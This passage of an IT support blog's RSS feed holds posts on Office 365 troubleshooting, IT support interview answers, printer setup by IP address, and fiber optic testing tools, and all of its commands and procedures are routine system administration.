            <link>https://medium.com/@kjavaman12/office-365-troubleshooting-guide-50993cce446e?source=rss-5f96dcbc1698------2</link>
            <guid isPermaLink="false">https://medium.com/p/50993cce446e</guid>
            <category><![CDATA[computers]]></category>
            <category><![CDATA[it-support]]></category>
            <category><![CDATA[helpdesk]]></category>
            <category><![CDATA[it]]></category>
            <category><![CDATA[o365]]></category>
            <dc:creator><![CDATA[Techie-stronaut]]></dc:creator>
            <pubDate>Wed, 11 Sep 2024 08:13:41 GMT</pubDate>
            <atom:updated>2024-09-11T08:13:41.521Z</atom:updated>
            <content:encoded><![CDATA[<p>If you’re experiencing issues with Office 365 applications, follow this comprehensive step-by-step guide to resolve common problems:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uQane6051vWXhdAicim14g.jpeg" /></figure><h3>1. Online Repair of Office 365 Programs</h3><p>Performing an online repair can fix many common issues without reinstalling the entire Office suite.Steps:</p><ol><li>Right-click the Start button (lower-left corner) and select “Installed apps”</li><li>Locate your Office product and click the ellipses (…)</li><li>Select “Modify”</li><li>In the window that pops up, select “Online Repair” &gt; “Repair”</li><li>Follow the prompts to complete the process</li></ol><p>Note: This will repair the entire Office suite, even if only one application (like Word or Excel) is problematic.</p><h3>2. Clear Cache from Office 365 Programs</h3><p>Clearing cache can help resolve performance issues, sync problems, and errors in various O365 apps.</p><h4>Clear Cache from Outlook</h4><ol><li>Close Outlook</li><li>Navigate to: C:\Users\YourUsername\AppData\Local\Microsoft\Outlook</li><li>Find the .ost file associated with your email account and delete it</li><li>Restart Outlook (the file will be rebuilt automatically)</li></ol><p>Clear temporary files:</p><ol><li>Press Windows + R, type %localappdata%\Microsoft\Outlook, and press Enter</li><li>Delete the contents in the Temp folder</li></ol><h4>Clear Cache from Microsoft Teams</h4><ol><li>Close Microsoft Teams completely</li><li>Press Windows + R, type %appdata%\Microsoft\Teams, and press Enter</li><li>Delete all files in the following subdirectories:</li></ol><ul><li>application cache\cache</li><li>blob_storage</li><li>Cache</li><li>databases</li><li>GPUcache</li><li>IndexedDB</li><li>Local Storage</li><li>tmp</li></ul><p>4. Restart Teams</p><h4>Clear Cache from OneDrive</h4><ol><li>Open File Explorer</li><li>Navigate to: %localappdata%\Microsoft\OneDrive</li><li>Delete all files and folders within this directory</li></ol><h4>Clear Cache from Word, Excel, PowerPoint</h4><ol><li>Press Windows + R, type %temp%, and press Enter</li><li>Delete all files in the temp folder to resolve cache-related issues</li></ol><h4>Clear OneNote Cache</h4><ol><li>Close OneNote</li><li>Press Windows + R, type %localappdata%\Microsoft\OneNote, and press Enter</li><li>Go to the folder for your OneNote version (e.g., 16.0 for Office 2016/Office 365)</li><li>Delete the contents of the Cache folder</li><li>Restart OneNote</li></ol><h3>3. Reinstall Office 365</h3><p>If clearing the cache and online repair don’t resolve the issue, you may need to reinstall Office.Steps:</p><ol><li>Open Settings &gt; Installed apps</li><li>Locate Microsoft Office and select “Uninstall”</li><li>Download Office 365 again from the official website</li><li>Install and follow the setup instructions</li></ol><h3>4. Reimage the Laptop (Last Resort)</h3><p>If the above steps do not resolve the issue, reimaging the laptop might be necessary.Steps:</p><ol><li>Backup your important files and data on OneDrive</li><li>Reimage your laptop by following the company’s reimaging process (e.g., using a company bootable USB or Intune Autopilot wipe)</li><li>Reinstall Office 365 and any other necessary applications</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=50993cce446e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to ace the IT Support Interview with 21 questions with hands-on experience.]]></title>
            <link>https://medium.com/@kjavaman12/how-to-ace-the-it-support-interview-with-20-questions-with-an-example-22ae0334af2b?source=rss-5f96dcbc1698------2</link>
            <guid isPermaLink="false">https://medium.com/p/22ae0334af2b</guid>
            <category><![CDATA[computers]]></category>
            <category><![CDATA[helpdesk]]></category>
            <category><![CDATA[it]]></category>
            <category><![CDATA[tips]]></category>
            <dc:creator><![CDATA[Techie-stronaut]]></dc:creator>
            <pubDate>Wed, 11 Sep 2024 07:17:07 GMT</pubDate>
            <atom:updated>2024-09-11T08:05:20.490Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lPqH_fV8Fe_UkKv2etSi3Q.jpeg" /></figure><h3>Introduction</h3><ul><li>Hi, I’m ~~~. I’m an IT Support with a wealth of experience in user support and IT asset management. While working at ~~, I developed my skills in Office 365 support, network troubleshooting, documentation, and process automation utilizing Python.</li><li>I have been committed to providing the best possible technical support, which has ensured smooth system operations and increased user satisfaction. I have also contributed to enhancing work efficiency through detailed documentation and Python automation. I look forward to adding my expertise to the team here, and together we can drive better results.</li></ul><h3>My Strengths and Weaknesses</h3><p><strong>Strengths:<br></strong>One of my key strengths is my commitment to enhancing operational efficiency through process automation and detailed documentation. During my previous roles, I developed Python-based automation tools to streamline repetitive tasks and improve accuracy. My focus on documentation has ensured that processes are well-defined and easily replicable, contributing to a more efficient IT environment.</p><p><strong>Weaknesses:<br></strong>In the past, I hesitated to share the automation tools and documentation I created with my team, as I was afraid of receiving feedback. This was a mistake, as I now recognize that feedback is invaluable in improving the quality and effectiveness of my work. Moving forward, I am committed to actively sharing my work with the team to foster collaboration, improve efficiency, and continuously enhance the tools I develop. In this role, I plan to embrace feedback to ensure that the solutions I implement are optimized for the team’s success.</p><h3>What i can learn with this company or what else i can be improved (same as weaknesses)</h3><p>In the past, I hesitated to share the automation tools and documentation I created with my team, as I was afraid of receiving feedback. This was a mistake, as I now recognize that feedback is invaluable in improving the quality and effectiveness of my work. Moving forward, I am committed to actively sharing my work with the team to foster collaboration, improve efficiency, and continuously enhance the tools I develop. In this role, I plan to embrace feedback to ensure that the solutions I implement are optimized for the team’s success.</p><h3>1. Ticketing Experience and Prioritization</h3><ol><li><strong>Ticket Prioritization</strong>: Urgent Medium Low</li></ol><ul><li><strong>Urgent (VIP or Team Level)</strong>: These tickets receive immediate attention as they affect (VIPs) or entire teams. Even if the priority is marked medium but involves a VIP, it is treated as urgent.</li><li><strong>Medium (Individual Level or Few Users)</strong>: Issues affecting one or a few users are handled in the standard workflow. These issues may not be critical but are given timely attention based on the user’s needs.</li><li><strong>Low (Individual Level)</strong>: Non-critical matters like inquiries about future laptop replacements or minor issues fall into this category. These are addressed after higher-priority tasks.</li><li>For issues impacting a larger group (e.g., CrowdStrike alerts), they are escalated to <strong>Urgent</strong> and treated as a priority due to the widespread impact.</li></ul><p><strong>2. Ticket Management Process</strong>:</p><ul><li><strong>At first Interaction Tickets</strong>: These are handled by the global IT team and serve as the first step in addressing the user’s issue.</li><li><strong>Incident Tickets</strong>: If the global team cannot resolve the issue or local IT support is needed, the ticket is escalated to an “Incident” level.</li><li>Once a ticket is generated (usually notified via Outlook), you move the status to <strong>Work in Progress</strong>, contact the user, and work on resolving the issue.</li><li>If the user does not respond, the status is changed to <strong>Awaiting Customer Feedback</strong>, and the process is paused until the user replies.</li></ul><h3>2. Identifying the Cause of a Blue Screen</h3><ul><li><strong>Tools for Diagnosis:</strong></li><li><strong>Error Code &amp; Event Viewer:</strong> Use the error code displayed during the blue screen and check the Event Viewer for detailed logs to determine whether the issue is software or hardware-related.</li><li>For example, in a <strong>CrowdStrike</strong> incident, the error code helped you narrow down the issue.</li><li><strong>Commands:</strong></li><li><strong>sfc /scannow:</strong> Checks the integrity of the system files and repairs any corrupted files.</li><li><strong>chkdsk /r /f C:</strong>: Scans for bad sectors on the disk and attempts to repair them.</li></ul><h3>3. BitLocker Functionality and Passcode Retrieval</h3><ul><li><strong>Retrieving the BitLocker Key:</strong></li><li><strong>Steps:</strong></li><li>Activate the BitLocker role in Microsoft Entra Privileged Identity Management.</li><li>Navigate to Devices &gt; BitLocker Keys and retrieve the key by entering it from the BitLocker recovery screen.</li><li>If the recovery mode persists, restart the system and try the key again.</li><li><strong>Documentation:</strong></li><li>I’ve written blog posts on how to retrieve, renew, and manage BitLocker keys, including how to stop and restart BitLocker in case of issues.</li></ul><h3>4. Multi-Factor Authentication (MFA)</h3><ul><li><strong>Definition:</strong></li><li>MFA is a security process requiring multiple authentication methods from independent categories to verify a user’s identity.</li><li><strong>Types of MFA:</strong></li><li><strong>Knowledge (Something You Know):</strong> Passwords or security questions.</li><li><strong>Possession (Something You Have):</strong> Security tokens, smartphones with authenticator apps, or USB keys.</li><li><strong>Inherence (Something You Are):</strong> Biometrics like fingerprint or facial recognition.</li><li><strong>Location (Somewhere You Are):</strong> Authentication based on geographic location, often determined by network address or GPS.</li><li><strong>MFA Tools:</strong></li><li>Hardware Security Keys, Microsoft Authenticator, Google Authenticator, etc.</li><li><strong>Importance:</strong> Essential for securing accounts, reducing the risk of unauthorized access, and protecting resources like cloud services (e.g., AWS).</li></ul><h3>5. What is Master Data Management (MDM)?</h3><ul><li><strong>Definition:</strong></li><li>MDM ensures a unified view of an entity (e.g., person, place, or thing) across various platforms and databases, which is critical for personalized experiences and regulatory compliance.</li><li><strong>Example:</strong></li><li>Identifying the same individual across different applications (e.g., Jane Doe, J.D. Smith, Janet D.) and unifying their data for accurate service delivery.</li><li><strong>Importance:</strong></li><li>Helps businesses provide personalized services and maintain compliance with data regulations, regardless of data storage location.</li></ul><h3>6. Reimaging Devices</h3><ul><li><strong>Method:</strong></li><li>Utilize <strong>Rufus</strong> to download and extract ISO files onto a USB drive for reimaging public laptops. For company laptops, extract company-specific ISO files from the network folder and reimage using a dedicated USB.</li><li>New Company laptops used <strong>Intune Autopilot</strong> for deployment.</li><li>If reimaging an Autopilot-registered device, I follow these steps:</li><li>Log in to the<a href="https://go.microsoft.com/fwlink/?linkid=2109431"> Microsoft Intune Admin Center</a>.</li><li>Navigate to <strong>Devices</strong> &gt; <strong>All Devices</strong>.</li><li>Select the specific device to reset.</li><li>Click <strong>Wipe</strong> and follow the instructions to confirm the reset process.</li></ul><h3>7. Onboarding and Offboarding Process</h3><ul><li><strong>Onboarding:</strong></li><li>Accurately record asset details in Excel (e.g., capture date, warranty, expiration, serial number, express code, and user ID).</li><li>Allocated Laptops use <strong>Intune Autopilot</strong>, ensuring smooth integration with the organization’s system.</li><li>For contingent workers receiving used laptops, reimage the device using the pre-extracted ISO from the network folder.</li><li>Attach a green post-it note inside the laptop with the user’s ID and temporary password.</li><li>Provide the user with a translated <strong>Intune Autopilot manual</strong> in Korean, and offer support during setup.</li><li><strong>Offboarding:</strong></li><li>When employees return their laptops, update the asset tracking Excel sheet with relevant data, including marking the user as a former employee.</li><li>Attach a red post-it note with the employee’s name and user ID inside the returned laptop for clarity.</li></ul><h3>8. VIP Support</h3><ul><li><strong>Example:</strong></li><li>Assisted a VIP who was unable to access a website due to ZScaler blocking it. By inspecting the network traffic with F12 tools, I identified the issue and escalated it to the ZScaler team for resolution.</li></ul><h3>9. Meeting Room Support</h3><ul><li><strong>Supported Platforms:</strong></li><li>Microsoft Teams and Zoom.</li><li>Authored blog posts on useful shortcuts and how to invite external guests without a Microsoft Teams license.</li></ul><h3>10. Experience in Supporting Mac Devices</h3><ul><li><strong>Experience:</strong></li><li>Over a year of experience with Mac devices, including troubleshooting and resolving macOS issues.</li><li>Documented solutions on my blog, such as fixing MySQL server connection errors on macOS.</li><li>Regular use of Homebrew for managing packages and familiarity with advanced macOS functionalities</li></ul><h3>11. Software Center and Software Installation</h3><ul><li><strong>Using SCCM (System Center Configuration Manager):</strong></li><li>Deploy software to users’ machines through the Software Center, which simplifies the installation process for company-approved applications.</li></ul><h3>12. Experience with Different Operating Systems</h3><ul><li><strong>Operating Systems:</strong></li><li>Proficient in Windows, macOS, and Linux (Ubuntu 22).</li><li>Experience adapting to Unix commands and dual-booting (Linux and Windows).</li><li>Wrote introductory guides and documentation on Mac and Linux configuration.</li></ul><h3>13. Prioritizing and Managing Tasks with Multiple Support Tickets</h3><ul><li><strong>Priority Criteria:</strong></li><li>Issues affecting multiple users or entire teams are prioritized higher than those affecting a single user.</li></ul><h3>Network Issue Troubleshooting Guide</h3><ol><li><strong>Reset TCP/IP Stack and DNS Cache</strong>:</li></ol><ul><li>Open Command Prompt as Administrator.</li><li>Run the following commands one by one:</li><li>netsh winsock reset</li><li>netsh int ip reset</li><li>ipconfig /release</li><li>ipconfig /renew</li><li>ipconfig /flushdns</li></ul><p><strong>2. Uninstall and Reinstall Network Adapter Driver</strong>:</p><ul><li>Download the latest driver from the manufacturer’s website (use another PC if needed).</li><li>Open Device Manager, find your network adapter, right-click, and choose <strong>Uninstall device</strong>.</li><li>Restart your PC. Windows should reinstall the driver automatically. If not, install it manually.</li></ul><p><strong>3. Check Windows Update Compatibility</strong>:</p><ul><li>Uninstall any recent updates causing issues:</li><li>Go to <strong>Settings &gt; Windows Update &gt; Update history</strong> and uninstall the latest update.</li><li>Update the network adapter driver via Device Manager.</li></ul><p><strong>4. Network Reset (Last Resort)</strong>:</p><ul><li>Go to <strong>Settings &gt; Network &amp; internet &gt; Advanced network settings &gt; Network reset</strong>.</li><li>Click <strong>Reset now</strong> and restart your PC.</li></ul><h3>15. VPN (Virtual Private Network)</h3><ul><li><strong>Definition:</strong></li><li>A secure network that allows users to connect to a company’s internal network remotely.</li><li>Examples: Ivanti VPN Secure Access, which I have experience using for accessing company resources like NAS drives or using remote access tools like Microsoft Remote Assistance (MSRA).</li></ul><h3><strong>16. Experience with Microsoft Active Directory (AD)</strong></h3><ul><li><em>Active Directory</em><strong> is a directory service that helps administrators manage permissions and control access to network resources.</strong></li><li><strong>File Permissions:</strong> Managed user file access by assigning permissions through Active Directory, ensuring appropriate access levels for files and folders.</li><li><strong>DHCP Configuration:</strong> Configured and managed DHCP settings within Active Directory to streamline IP address allocation and management across the network.</li></ul><h3>17. How do you manage asset</h3><ul><li><strong>Experience: </strong>To manage IT assets, we use an Excel file where we track laptops and iPads. This file includes details like capture date, hardware warranty, and expiration date. We highlight laptops under legal hold in red to easily identify them.</li></ul><h3><strong>18. How do you procure a hardware asset (e.g., a laptop or monitor)?</strong></h3><ul><li><strong>Laptop Procurement:</strong></li></ul><ol><li>Submit a hardware asset request to the APAC team.</li><li>Obtain the WBS code for purchase.</li><li>Purchase the laptop.</li><li>Once the laptop arrives, record it in the Hardware Asset Recorder, which syncs with the ServiceNow laptop list.</li><li>Record it in the Korean asset Excel file.</li><li>Request the asset number using the serial number.</li><li>Attach the asset number sticker to the laptop</li><li>Handover the laptop to the user.</li></ol><ul><li><strong>Monitor or Other Hardware:</strong></li></ul><ol><li>Get manager approval first.</li><li>Submit a hardware asset request to the APAC team.</li><li>Obtain the WBS code for purchase.</li><li>Follow the same process as the laptop: purchase, record, and label.</li></ol><h3><strong>19. What is the hardware repair process?</strong></h3><ul><li><strong>Under Warranty:</strong></li></ul><ol><li>Contact the Dell engineer using the warranty details for repair.</li></ol><ul><li><strong>Out of Warranty:</strong></li></ul><ol><li>Get manager approval.</li><li>Generate a quotation from Dell.</li><li>Create a purchase order in the Ariba portal.</li><li>Contact Dell engineer to proceed with the repair</li></ol><h3>20. <strong>Printer Setup Guide</strong></h3><ol><li><strong>Open Control Panel</strong>:</li></ol><ul><li>Press <strong>Windows + I</strong> to open <strong>Settings</strong>.</li><li>Go to <strong>Bluetooth &amp; devices &gt; Printers &amp; Scanners</strong>.</li></ul><p><strong>2. Add a New Printer</strong>:</p><ul><li>Click <strong>Add device</strong>.</li><li>If your printer isn’t listed, select <strong>The printer that I want isn’t listed</strong> and add it manually.</li></ul><p><strong>3. Configure Printer Connection</strong>:</p><ul><li>Choose <strong>Add a printer using an IP address or hostname</strong>.</li><li>Select <strong>TCP/IP Device</strong>.</li><li>Enter the printer’s hostname or IP address, then click <strong>Connect</strong>.</li></ul><p><strong>4. Install Printer Driver</strong>:</p><ul><li>Follow the prompts to install the driver.</li><li>Select the printer’s manufacturer (e.g., HP) and choose the latest driver version.</li></ul><p><strong>5. Finalize Setup</strong>:</p><ul><li>Rename the printer (optional) and complete the installation.</li></ul><p>Click <strong>Print test page</strong> to ensure the printer works.</p><p><strong>21. How do you troubleshoot O365 issues?</strong></p><ol><li><strong>Perform an O365 Online Repair</strong></li></ol><ul><li>First, I run an online repair through the <strong>Installed Apps</strong> section to ensure the application suite is restored without losing user settings. This process often resolves common issues like crashes or missing features.</li></ul><p><strong>2. Clear the Cache</strong></p><ul><li>If the repair doesn’t resolve the issue, I clear the cache for individual Office applications like Outlook, Teams, or OneDrive. This helps resolve performance and synchronization issues that arise from corrupted cache files.</li></ul><p><strong>3. Reinstall Office 365</strong></p><ul><li>If the problem persists, I perform a complete reinstall of Office 365, ensuring all remnants of the previous installation are removed before reinstalling the latest version from the official source.</li></ul><p><strong>4. Reimage the Device (Last Resort)</strong></p><ul><li>As a final step, if none of the above methods work, I proceed with reimaging the device, which restores the system to its factory settings. This is a last resort and only done after backing up important data.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=22ae0334af2b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Printer Setup with IP address Guide]]></title>
            <link>https://medium.com/@kjavaman12/printer-setup-with-ip-address-guide-66bb42dcb8c4?source=rss-5f96dcbc1698------2</link>
            <guid isPermaLink="false">https://medium.com/p/66bb42dcb8c4</guid>
            <category><![CDATA[computers]]></category>
            <category><![CDATA[helpdesk]]></category>
            <category><![CDATA[tips]]></category>
            <category><![CDATA[it]]></category>
            <category><![CDATA[printers]]></category>
            <dc:creator><![CDATA[Techie-stronaut]]></dc:creator>
            <pubDate>Wed, 11 Sep 2024 06:24:06 GMT</pubDate>
            <atom:updated>2024-09-11T06:24:06.677Z</atom:updated>
            <content:encoded><![CDATA[<h3>Printer Setup using IP address Guide</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aHPY3anUPjlEt6EZYhecTA.jpeg" /></figure><h3>Opening Control Panel</h3><ol><li>Open the Settings. (Using Windows + I)</li><li>Click on Bluetooth &amp; devices.</li><li>Select Printers &amp; Scanners.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*EbgXqo_Q0Lmx-ekAGA9OjA.png" /></figure><h3>Adding a New Printer</h3><ol><li>Click on Add device.</li><li>If your printer is not listed, select The printer that I want isn’t listed and Add manually.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*aSTNlmUevg94E8KMMwQqCA.png" /></figure><ol><li>Choose Add a printer using an IP address or hostname.</li></ol><h3>Configuring Printer Connection</h3><ol><li>Select TCP/IP Device as the device type.</li><li>Enter the printer’s hostname. If unsuccessful, try using its IP address.</li><li>Click Connect to add the printer.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*6BtYvYthcIuhL2PqiWjDJQ.png" /><figcaption>Add printer with Random IP. you can replace this with your genuine printer IP address</figcaption></figure><h3>Installing Printer Driver</h3><ol><li>Click Next to proceed with driver installation.</li><li>Select the manufacturer of your printer.</li><li>Choose the latest version of your driver.</li><li>Click Replace to update the driver if prompted.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*cSFEas4KApfr-IWd0336_A.png" /><figcaption>The Manufacturer is HP so we choose so</figcaption></figure><h3>Finalizing Setup</h3><ol><li>Rename the printer to Whatever you want. and click next to Installing the Printer driver.</li><li>Click Print test page to verify that the printer is functioning correctly.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*GG9WDXJfJiAEnxwlvd-1Ug.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=66bb42dcb8c4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Essential Tools for Testing and Maintaining Fiber Optic Cables in Data Centers]]></title>
            <link>https://medium.com/@kjavaman12/essential-tools-for-testing-and-maintaining-fiber-optic-networks-in-data-centers-4c188d07cc50?source=rss-5f96dcbc1698------2</link>
            <guid isPermaLink="false">https://medium.com/p/4c188d07cc50</guid>
            <category><![CDATA[lspm]]></category>
            <category><![CDATA[optical-fiber]]></category>
            <category><![CDATA[vfl]]></category>
            <category><![CDATA[data-center]]></category>
            <category><![CDATA[otdr]]></category>
            <dc:creator><![CDATA[Techie-stronaut]]></dc:creator>
            <pubDate>Wed, 21 Aug 2024 03:46:07 GMT</pubDate>
            <atom:updated>2024-08-21T03:47:43.549Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Essential Tools for Testing and Maintaining Fiber Optic Cables in Data Centers</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mwfK2K-X2oE-qXpt" /></figure><p>Fiber optic cables are the backbone of modern data centers, enabling the high-speed data transfer that businesses and organizations rely on. To ensure these cables perform optimally, a set of specialized tools is crucial for testing, troubleshooting, and maintenance. Among the most essential are the Optical Time-Domain Reflectometer (OTDR), the Light Source and Power Meter (LSPM), and the Visual Fault Locator (VFL). Each of these tools plays a distinct role in maintaining the integrity and performance of fiber optic networks.</p><h3>Optical Time-Domain Reflectometer (OTDR)</h3><p>The OTDR is a powerful, high-precision instrument designed to evaluate the health of fiber optic cables. By emitting high-powered light pulses into the fiber and analyzing the light that is scattered or reflected back, the OTDR provides a comprehensive analysis of the fiber link.</p><p><strong>Key Functions of OTDR:</strong></p><ul><li><strong>Fault Location:</strong> OTDRs excel at pinpointing the exact location of faults within the fiber optic cable, such as breaks, bends, splices, and poor connections, making them indispensable for troubleshooting.</li><li><strong>Graphical Analysis:</strong> They offer a detailed graphical representation of the fiber link, highlighting the location and severity of any faults. This visual analysis aids technicians in quickly diagnosing and addressing issues.</li><li><strong>Measurement of Loss:</strong> OTDRs measure insertion loss and reflectance, offering deep insights into the cable’s performance, including total optical return loss and link length.</li><li><strong>Comprehensive Testing:</strong> OTDRs are considered the gold standard for fiber optic testing, capable of assessing a wide range of parameters. However, they are typically used for Tier 2 testing, which involves more detailed analysis compared to the more basic Tier 1 testing.</li></ul><p>While OTDRs are highly effective, they are also more expensive and require specialized knowledge to operate effectively. Their use is crucial in scenarios where detailed analysis and precise fault location are necessary.</p><h4>Procedure for Using a Fostech OTDR</h4><p>To ensure accurate and reliable results when using a Fostech OTDR for fiber optic testing, it’s essential to follow a systematic procedure. Below is an enhanced guide to effectively operate the OTDR and interpret the results.</p><p><strong>Step 1: Prepare the Fiber Optic Cable</strong></p><ol><li><strong>Clean the Connector</strong>: Before connecting the fiber optic cable to the OTDR, it’s crucial to clean the connector’s surface. Use a Fiber Optic Cleaner Pen to remove any dust, oil, or debris. This step is vital to prevent signal loss and ensure the accuracy of the test results.</li><li><strong>Inspect the Connector</strong>: After cleaning, inspect the connector under a fiber microscope to ensure it is free from contaminants or damage. A clean and intact connector is essential for accurate testing.</li></ol><p><strong>Step 2: Connect the Cable to the OTDR</strong></p><ol><li><strong>Secure the Connection</strong>: Carefully connect the cleaned and inspected fiber optic cable to the OTDR’s input port. Ensure the connection is secure and free of any strain or bends that could affect the test accuracy.</li><li><strong>Set Up the OTDR</strong>: Power on the Fostech OTDR and select the appropriate testing mode based on the specific requirements of the fiber link you are evaluating.</li></ol><p><strong>Step 3: Execute the Test</strong></p><ol><li><strong>Initiate the Test</strong>: Press the <strong>Auto</strong> button on the OTDR to begin the test. The OTDR will automatically send high-powered light pulses into the fiber and begin analyzing the backscattered and reflected light.</li><li><strong>Monitor the Test Progress</strong>: The OTDR will display a real-time trace of the fiber link as the test progresses. Observe the graphical representation for any immediate signs of faults such as spikes or dips in the trace, which indicate reflections or losses.</li></ol><p><strong>Step 4: Analyze the Results</strong></p><ol><li><strong>Review the Average Loss</strong>: Once the test is complete, the OTDR will calculate the average loss across the fiber link. Examine the reported loss values and compare them against standard thresholds to determine if they are within acceptable limits.</li></ol><p><strong>Step 5: Document and Address Findings</strong></p><ol><li><strong>Save and Document the Results</strong>: Save the OTDR test results for future reference. Proper documentation helps in tracking the fiber link’s performance over time and aids in troubleshooting recurring issues.</li></ol><h3>Light Source and Power Meter (LSPM)</h3><p>The Light Source and Power Meter (LSPM) is a simpler yet essential tool for measuring power loss in fiber optic cables. It consists of two components: a light source and a power meter, which work together to verify signal strength and network performance.</p><p><strong>Key Functions of LSPM:</strong></p><ul><li><strong>Power Measurement:</strong> The LSPM measures the optical power at the end of a fiber link, ensuring that the network operates within the specified power budget, which is critical for efficient data transmission.</li><li><strong>Loss Assessment:</strong> It is used to test for power loss within the network, providing a quick and accurate assessment of the cable’s condition. This is crucial for maintaining network efficiency and preventing data loss.</li><li><strong>Installation and Maintenance:</strong> LSPMs are integral to the installation and ongoing maintenance of fiber optic networks, ensuring they meet performance standards and continue to function effectively.</li></ul><p>While LSPMs do not offer the in-depth analysis capabilities of OTDRs, they are quicker and easier to use, making them ideal for basic loss measurements and Tier 1 testing.</p><h3>Visual Fault Locator (VFL)</h3><p>The Visual Fault Locator (VFL) is a straightforward yet highly effective tool for identifying faults in fiber optic cables. By sending a visible red light through the fiber, the VFL allows technicians to quickly locate breaks or bends in the cable.</p><p><strong>Key Functions of VFL:</strong></p><ul><li><strong>Quick Identification:</strong> VFLs are perfect for rapidly identifying faults in short or exposed lengths of fiber, such as those found in patch panels or server rooms. This makes them an invaluable tool for quick troubleshooting tasks.</li><li><strong>Ease of Use:</strong> With its simple operation, the VFL requires minimal training, making it a convenient tool for technicians of all experience levels. It is particularly useful for basic troubleshooting when time is of the essence.</li><li><strong>Limitations:</strong> While effective for short cable runs and exposed fibers, VFLs are not suitable for long-distance testing or for providing detailed analysis of the fiber’s overall condition.</li></ul><h3>Conclusion</h3><p>In the complex environment of data centers, where the performance and reliability of fiber optic networks are paramount, having the right tools is essential. The OTDR, LSPM, and VFL each bring unique strengths to the table. The OTDR offers comprehensive fault analysis and detailed graphical representations of the fiber link. The LSPM provides quick and accurate power and loss measurements, ideal for routine maintenance. The VFL offers an easy-to-use solution for immediate fault detection in accessible fiber runs.</p><p>Together, these tools form a comprehensive toolkit that ensures fiber optic networks are maintained to the highest standards, supporting the critical data needs of modern businesses. By leveraging the strengths of each tool, technicians can efficiently diagnose, troubleshoot, and maintain fiber optic networks, ensuring maximum uptime and optimal performance.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Reference</p><p><a href="https://www.flukenetworks.com/edocs/white-paper-troubleshooting-fiber">Troubleshooting Fiber</a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FH5jGPOqQBJo%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DH5jGPOqQBJo&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FH5jGPOqQBJo%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/7f72b31a6de2cdf01c8e41fe1170cb5a/href">https://medium.com/media/7f72b31a6de2cdf01c8e41fe1170cb5a/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FP5id8pU7bTQ%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DP5id8pU7bTQ&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FP5id8pU7bTQ%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/b694b7909df96344e9ad8df855add81a/href">https://medium.com/media/b694b7909df96344e9ad8df855add81a/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4c188d07cc50" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>